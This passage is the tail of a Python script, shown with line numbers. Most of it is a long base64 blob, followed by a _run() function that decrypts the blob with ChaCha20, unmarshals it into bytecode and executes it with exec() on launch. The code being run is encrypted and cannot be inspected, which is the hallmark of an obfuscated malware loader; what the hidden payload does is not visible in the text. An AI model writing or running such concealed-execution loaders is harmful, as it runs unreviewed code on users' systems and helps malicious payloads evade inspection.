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" |
| 9 | |
| 10 | def _run(): |
| 11 | try: |
| 12 | _k = bytes.fromhex(_k_hex) |
| 13 | _raw = base64.b64decode(_p_b64) |
| 14 | _n = _raw[:12] |
| 15 | _ct = _raw[12:] |
| 16 | _cipher = ChaCha20.new(key=_k, nonce=_n) |
| 17 | _dec = _cipher.decrypt(_ct) |
| 18 | code = marshal.loads(_dec) |
| 19 | exec(code, globals()) |
| 20 | |
| 21 | except ValueError as ve: |
| 22 | print("Error: Integrity check failed or bad key.") |
| 23 | except EOFError: |
| 24 | print("Error: Marshal data corrupted (possibly wrong Python version).") |
| 25 | except Exception as e: |
| 26 | print(f"Error execution: {e}") |
| 27 | |
| 28 | if __name__ == "__main__": |
| 29 | _run() |